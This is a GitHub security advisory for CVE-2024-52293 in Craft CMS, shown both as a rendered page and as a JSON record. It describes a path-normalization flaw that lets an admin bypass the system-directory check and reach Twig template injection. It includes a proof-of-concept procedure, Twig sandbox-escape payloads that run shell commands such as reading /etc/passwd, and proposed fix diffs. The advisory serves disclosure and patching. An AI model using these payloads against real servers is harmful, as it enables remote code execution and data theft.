ghsa-f3cw-hg6r-chfv
Vulnerability from github
Published
2024-11-13 14:16
Modified
2024-11-13 18:58
Severity ?
7.2 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
7.3 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Summary
Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI
Details

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

``php /** * Returns an absolute path based on a source location or the current working directory. * * @param string $to The target path. * @param string|null $from The source location. Defaults to the current working directory. * @param string $ds the directory separator to be used in the normalized result. Defaults toDIRECTORY_SEPARATOR`. * @return string * @since 4.3.5 */ public static function absolutePath( string $to, ?string $from = null, string $ds = DIRECTORY_SEPARATOR, ): string { $to = static::normalizePath($to, $ds);

// Already absolute?
if (
    str_starts_with($to, $ds) ||
    preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
) {
    return $to;
}

if ($from === null) {
    $from = FileHelper::normalizePath(getcwd(), $ds);
} else {
    $from = static::absolutePath($from, ds: $ds);
}

return $from . $ds . $to;

} ```

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

```php /* * Returns whether the given file path is located within or above any system directories. * * @param string $path * @return bool * @since 5.4.2 / public function isSystemDir(string $path): bool // $path = "../templates/poc" { $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
    $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
    if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
        return true;
    }
}

return false; // We're here!

} ```

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136: php /** * @param string $attribute * @param array|null $params * @param InlineValidator $validator * @return void * @since 4.4.6 */ public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void { if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) { $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.')); } }

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

js {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.

PoC

  1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start

sh mkdir craftcms && cd craftcms ddev config --project-type=craftcms --docroot=web --create-docroot ddev composer create -y --no-scripts "craftcms/craft" ddev craft install php craft setup/security-key ddev start

start

  1. Create a new filesystem with base path ../templates/poc

filesystem

Notice that the poc directory was created

dir

  1. Create a new asset volume using the poc filesystem

asset

Upload a poc.ttml file with RCE template code

js {{'<pre>'}} {{ 8*8 }} {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}}

Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.

upload

ttml

  1. Create a new route * with template poc/poc.ttml

route

  1. This leads to Remote Code Execution on arbitrary route /*

rce

Remediation

```diff diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php index 0c2da884a7..ac23ce556a 100644 --- a/src/helpers/FileHelper.php +++ b/src/helpers/FileHelper.php @@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper $from = static::absolutePath($from, ds: $ds); }

  • return $from . $ds . $to;

  • return FileHelper::normalizePath($from . $ds . $to); }

    /** ```

fix_norm

See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:

diff diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php index efff2d2412..756f452f8b 100644 --- a/src/web/twig/Extension.php +++ b/src/web/twig/Extension.php @@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface new TwigFilter('lcfirst', [$this, 'lcfirstFilter']), new TwigFilter('literal', [$this, 'literalFilter']), new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]), + new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]), + new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]), + new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]), new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]), new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]), new TwigFilter('merge', [$this, 'mergeFilter']),

fix_ssti

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)

Show details on source website

To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.12.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.4.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-52293"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-13T14:16:38Z",
    "nvd_published_at": "2024-11-13T16:15:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nMissing `normalizePath` in the function `FileHelper::absolutePath` could lead to Remote Code Execution on the server via twig SSTI.\n\n`(Post-authentication, ALLOW_ADMIN_CHANGES=true)`\n\n### Details\n\nNote: This is a sequel to [CVE-2023-40035](https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phw)\n\nIn [`src/helpers/FileHelper.php#L106-L137`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/helpers/FileHelper.php#L106-L137), the function `absolutePath` returned `$from . $ds . $to` without path normalization:\n\n```php\n/**\n * Returns an absolute path based on a source location or the current working directory.\n *\n * @param string $to The target path.\n * @param string|null $from The source location. Defaults to the current working directory.\n * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.\n * @return string\n * @since 4.3.5\n */\npublic static function absolutePath(\n    string $to,\n    ?string $from = null,\n    string $ds = DIRECTORY_SEPARATOR,\n): string {\n    $to = static::normalizePath($to, $ds);\n\n    // Already absolute?\n    if (\n        str_starts_with($to, $ds) ||\n        preg_match(sprintf(\u0027/^[A-Z]:%s/\u0027, preg_quote($ds, \u0027/\u0027)), $to)\n    ) {\n        return $to;\n    }\n\n    if ($from === null) {\n        $from = FileHelper::normalizePath(getcwd(), $ds);\n    } else {\n        $from = static::absolutePath($from, ds: $ds);\n    }\n\n    return $from . $ds . $to;\n}\n```\n\nThis could leads to multiple security risks, one of them is in [`src/services/Security.php#L201-L220`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/services/Security.php#L201-L220) where `../templates/poc` is not considered a system dir.\n\nLet\u0027s see what happens after calling `isSystemDir(\"../templates/poc\")`:\n\n```php\n/**\n * Returns whether the given file path is located within or above any system directories.\n *\n * @param string $path\n * @return bool\n * @since 5.4.2\n */\npublic function isSystemDir(string $path): bool // $path = \"../templates/poc\"\n{\n    $path = FileHelper::absolutePath($path, \u0027/\u0027); // $path = \"/var/www/html/web//../templates/poc\"\n\n    foreach (Craft::$app-\u003egetPath()-\u003egetSystemPaths() as $dir) {\n        $dir = FileHelper::absolutePath($dir, \u0027/\u0027); // $dir = \"/var/www/html/templates\"\n        if (str_starts_with(\"$path/\", \"$dir/\") || str_starts_with(\"$dir/\", \"$path/\")) { // if (false || false)\n            return true;\n        }\n    }\n\n    return false; // We\u0027re here!\n}\n```\n\nNow that the path `../templates/poc` can bypass `isSystemDir`, it will also bypass the function `validatePath` in [`src/fs/Local.php#L124-L136`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/fs/Local.php#L124-L136):\n```php\n/**\n * @param string $attribute\n * @param array|null $params\n * @param InlineValidator $validator\n * @return void\n * @since 4.4.6\n */\npublic function validatePath(string $attribute, ?array $params, InlineValidator $validator): void\n{\n    if (Craft::$app-\u003egetSecurity()-\u003eisSystemDir($this-\u003egetRootPath())) {\n        $validator-\u003eaddError($this, $attribute, Craft::t(\u0027app\u0027, \u0027Local filesystems cannot be located within or above system directories.\u0027));\n    }\n}\n```\n\nWe can now create a Local filesystem within the system directories, particularly in `/var/www/html/templates/poc`\n\nThen create a new asset volume with that filesystem, upload a `poc.ttml` file with twig code and execute using a new route with template path `poc/poc.ttml`\n\nAlthough craftcms does sandbox twig ssti, the list in [src/web/twig/Extension.php#L180-L268](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/web/twig/Extension.php#L180-L268) is still incomplete.\n\n\n```js\n{{[\u0027id\u0027] has some \u0027system\u0027}}\n{{[\u0027ls\u0027] has every \u0027passthru\u0027}}\n{{[\u0027cat /etc/passwd\u0027]|find(\u0027system\u0027)}}\n{{[\u0027id;pwd;ls -altr /\u0027]|find(\u0027passthru\u0027)}}\n```\n\nThese payloads still work, see [twigphp/Twig/src/Extension/CoreExtension.php#getFilters()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L196-L247) and [twigphp/Twig/src/Extension/CoreExtension.php#getOperators()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L291-L333) for more informations.\n\n### PoC\n\n1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start\n\n```sh\nmkdir craftcms \u0026\u0026 cd craftcms\nddev config --project-type=craftcms --docroot=web --create-docroot\nddev composer create -y --no-scripts \"craftcms/craft\"\nddev craft install\nphp craft setup/security-key\nddev start\n```\n\n\u003cimg width=\"1280\" alt=\"start\" src=\"https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3\"\u003e\n\n2. Create a new filesystem with base path `../templates/poc`\n\n\u003cimg width=\"1280\" alt=\"filesystem\" src=\"https://github.com/user-attachments/assets/fe78e023-bd51-4fc1-a22e-dcfa5baf266b\"\u003e\n\nNotice that the `poc` directory was created\n\n\u003cimg width=\"167\" alt=\"dir\" src=\"https://github.com/user-attachments/assets/ccc45ce8-8555-4aae-ae48-320a630e7d79\"\u003e\n\n3. Create a new asset volume using the `poc` filesystem\n\n\u003cimg width=\"1280\" alt=\"asset\" src=\"https://github.com/user-attachments/assets/b5530766-11b4-4e45-ae58-82f81fc2db00\"\u003e\n\nUpload a `poc.ttml` file with RCE template code\n\n```js\n{{\u0027\u003cpre\u003e\u0027}}\n{{ 8*8 }}\n{{[\u0027id\u0027] has some \u0027system\u0027}}\n{{[\u0027ls\u0027] has every \u0027passthru\u0027}}\n{{[\u0027cat /etc/passwd\u0027]|find(\u0027system\u0027)}}\n{{[\u0027id;pwd;ls -altr /\u0027]|find(\u0027passthru\u0027)}}\n```\n\nNote: `find` was added to twig [last month](https://github.com/twigphp/Twig/commit/4e262511930e408e4c7eda07b1c977f2ea98575c). If you\u0027re running this poc on an older version of twig try removing the last 2 lines.\n\n\u003cimg width=\"1280\" alt=\"upload\" src=\"https://github.com/user-attachments/assets/63e65beb-2ede-4141-85d2-e7d21cd4b8ad\"\u003e\n\n![ttml](https://github.com/user-attachments/assets/9db8ca9b-25eb-4014-a7f5-4ece895b106d)\n\n4. Create a new route `*` with template `poc/poc.ttml`\n\n\u003cimg width=\"1280\" alt=\"route\" src=\"https://github.com/user-attachments/assets/b92d9340-b6a5-40d8-a8e8-ddab5cfc9f21\"\u003e\n\n5. This leads to Remote Code Execution on arbitrary route `/*`\n\n\u003cimg width=\"454\" alt=\"rce\" src=\"https://github.com/user-attachments/assets/19765f6c-1c28-4a0b-a89c-25f6f05ceca6\"\u003e\n\n### Remediation\n\n```diff\ndiff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php\nindex 0c2da884a7..ac23ce556a 100644\n--- a/src/helpers/FileHelper.php\n+++ b/src/helpers/FileHelper.php\n@@ -133,7 +133,7 @@ class FileHelper extends \\yii\\helpers\\FileHelper\n             $from = static::absolutePath($from, ds: $ds);\n         }\n\n-        return $from . $ds . $to;\n+        return FileHelper::normalizePath($from . $ds . $to);\n     }\n\n     /**\n```\n\n![fix_norm](https://github.com/user-attachments/assets/4c8e5b4f-6216-416c-87a1-9b9fae033971)\n\nSee [twigphp/Twig/src/Extension/CoreExtension.php](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php) for updated filters and operators, a possible fix could look like:\n\n```diff\ndiff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php\nindex efff2d2412..756f452f8b 100644\n--- a/src/web/twig/Extension.php\n+++ b/src/web/twig/Extension.php\n@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface\n             new TwigFilter(\u0027lcfirst\u0027, [$this, \u0027lcfirstFilter\u0027]),\n             new TwigFilter(\u0027literal\u0027, [$this, \u0027literalFilter\u0027]),\n             new TwigFilter(\u0027map\u0027, [$this, \u0027mapFilter\u0027], [\u0027needs_environment\u0027 =\u003e true]),\n+            new TwigFilter(\u0027find\u0027, [$this, \u0027find\u0027], [\u0027needs_environment\u0027 =\u003e true]),\n+            new TwigFilter(\u0027has some\u0027 =\u003e [\u0027precedence\u0027 =\u003e 20, \u0027class\u0027 =\u003e HasSomeBinary::class, \u0027associativity\u0027 =\u003e ExpressionParser::OPERATOR_LEFT]),\n+            new TwigFilter(\u0027has every\u0027 =\u003e [\u0027precedence\u0027 =\u003e 20, \u0027class\u0027 =\u003e HasEveryBinary::class, \u0027associativity\u0027 =\u003e ExpressionParser::OPERATOR_LEFT]),\n             new TwigFilter(\u0027markdown\u0027, [$this, \u0027markdownFilter\u0027], [\u0027is_safe\u0027 =\u003e [\u0027html\u0027]]),\n             new TwigFilter(\u0027md\u0027, [$this, \u0027markdownFilter\u0027], [\u0027is_safe\u0027 =\u003e [\u0027html\u0027]]),\n             new TwigFilter(\u0027merge\u0027, [$this, \u0027mergeFilter\u0027]),\n```\n\n![fix_ssti](https://github.com/user-attachments/assets/5d9ce9be-022b-4853-a5f9-688b247cc27c)\n\n### Impact\n\nTake control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.\n\nAlthough the vulnerability is exploitable only in the authenticated users, configuration with `ALLOW_ADMIN_CHANGES=true`, there is still a potential security threat (Remote Code Execution)\n",
  "id": "GHSA-f3cw-hg6r-chfv",
  "modified": "2024-11-13T18:58:26Z",
  "published": "2024-11-13T14:16:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52293"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/123e48a696de1e2f63ab519d4730eb3b87beaa58"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization \u0026 Twig SSTI"
}


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